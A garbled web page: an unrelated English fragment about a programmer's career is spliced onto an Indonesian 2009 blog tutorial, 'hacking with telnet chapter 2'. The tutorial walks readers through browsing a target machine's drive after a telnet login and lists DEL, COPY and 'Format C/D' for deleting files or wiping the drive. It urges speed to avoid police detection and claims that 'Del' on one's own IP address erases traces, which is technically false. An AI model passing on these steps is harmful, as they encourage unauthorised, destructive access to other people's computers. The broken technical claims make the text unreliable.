the kind he specializes in! Maybe you trade services with people
for 50% of what ordinary people have to BUY WITH CASH!...you keep
reading...

(this is the stage where the author now finds himself...16 years
into a career at a Fortune 5 company and age 42...still reading...
your mileage may vary! <-((that's my code too! I co-wrote VEEP, (vehicle-economy-emissions-program, a complete auto-simulator, written in Fortran-5 for the Univac 1108 system using punch-cards!) for the Ford Foundation and the DOT while at JPL in 1973)) )

hacking with telnet chapter 2

2009-07-05T10:33:00.003-07:00

sekarang kamu sudah bisa melakukan masuk ke dalam komputer target mu...tapi yang dinamakan hacking itu bukan hanya sebatas masuk saja tanpa berbuat sesuatu.
...dalam chapter 2 ini, gw harap kamu bisa melakukan pola penyerangan yang pasti.dalam dunia hacking, ga ada belas kasihan(duuhhh galaknya gw)..kamu kalu mau berbuat,
ga perlu tanggung, tujuan mu adalah serang target,dapatkan keinginanmu, puaskan nafsumu(hehehehe), lalu campakan dia...alah lebay dah gw

lanjut ajah yach ke chapter 2 na

caranya:

16. Pastikan tujuan mu untuk melakukan hacking sbelumnya.apakah kamu hanya ingin mengacak-ngacak direktorinya??hapus semua file??mengambil filenya??upload virus??or hanya buat have fun saja??

17. Sekarang kita periksa root[.] #: dengan cara ketikan di CMD yaitu: DIR

18. Sekarang sudah terlihat isi direktory C: dari komputer target...

19. Bila anda ingin masuk ke dalam suatu folder, maka code yang kamu harus ketik adalah:CD(spasi) nama file
contoh: CD windows lalu tekan enter

20. Bila anda ingin kembali ke folder sebelumnya, anda hanya cukup mengetikan kode adalah:CD\
Contoh: CD\

21. Ini ada hal yang perlu kamu ketahui sedikit tentang kode-kode yang di gunakan dalam CMD yaitu:
1.DEL(spasi) nama file/folder
2.COPY(spai) nama file/folder
3.paste(spasi nama file/folder
4.Format C/D

22. Sekarang anda sudah mendapatkan yang anda inginkan, langkah selanjutnya adalah mencari folder telnet di root awal

23. Cari dan temukan segera, karena bila anda dalam jaringan yang bukan berada di LAN maksud gw itu hacking web or bank...factor kecepatan tangan lebih diutamakan karena bisa saja dalam hitungan menit bahkan detik, IP address kamu terdeteksi...dan ini menimbulkan masalah yang besar buat anda

24. santai saja, karena yang anda hacking itu bukan komputer web, bank, or kantoran...melainkan hanya hacking kecil versi LAN...tapi tetap di utamakan kecepatan

25. Bila sudah anda temukan folder TELNET, sekarang kamu wajib menghapus IP address kamu.sebab begitu kamu telnet ke komputer target,maka IP address kamu sebenarnya sudah terdeteksi oleh komputer target...tapi intinya adalah kita pinter-pinter ngambil celah saat user target sedang lengah

26. ketikan kode tersebut: Del(spasi) IP address kamu.
Contoh: Del 192.168.1.2 lalu tekan enter
27. Setelah selesai, jangan lupa untuk membersihkan layar CMD dengan kode: CLS
Contoh: CLS
28. Close CMD and tutup semua program yang mendukung tools kita dalam hacking kali ini

Pesan dari Gw:
1. Kalo bisa sich kamu punya tujuan yang bener-bener manfaat buat kamu pribadi
2. Dari bulletin ini, gw harap kamu udah bener-bener mahir dalam masalah hacking and bisa menjadi hacker sejati
3. Jangan tergesa-gesa menghapus telnet-nya, soalna bisa mengundang kecurigaan orang di samping anda.tenang ajah sob, ga kamu hapus juga no problem b`coz ini baru versi LAN ajah.tapi inget dalam versi yang global, jangan coba-coba untuk tidak menghapus telnet IP address kamu, karena kamu bisa di laporkan ke pihak police cyber
4. Keep fun yach...
5. Kalo bisa, pas lagi melakukannya dengan santai saja. ga perlu di bawa serius
6. Sekali lagi, penyalahgunaan bulletin ini penulis tidak bertanggung jawab atas hal-hal yang belum terpikirkan oleh gw sendiri...hehehehehehe

Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...

nice have fun ^,..,^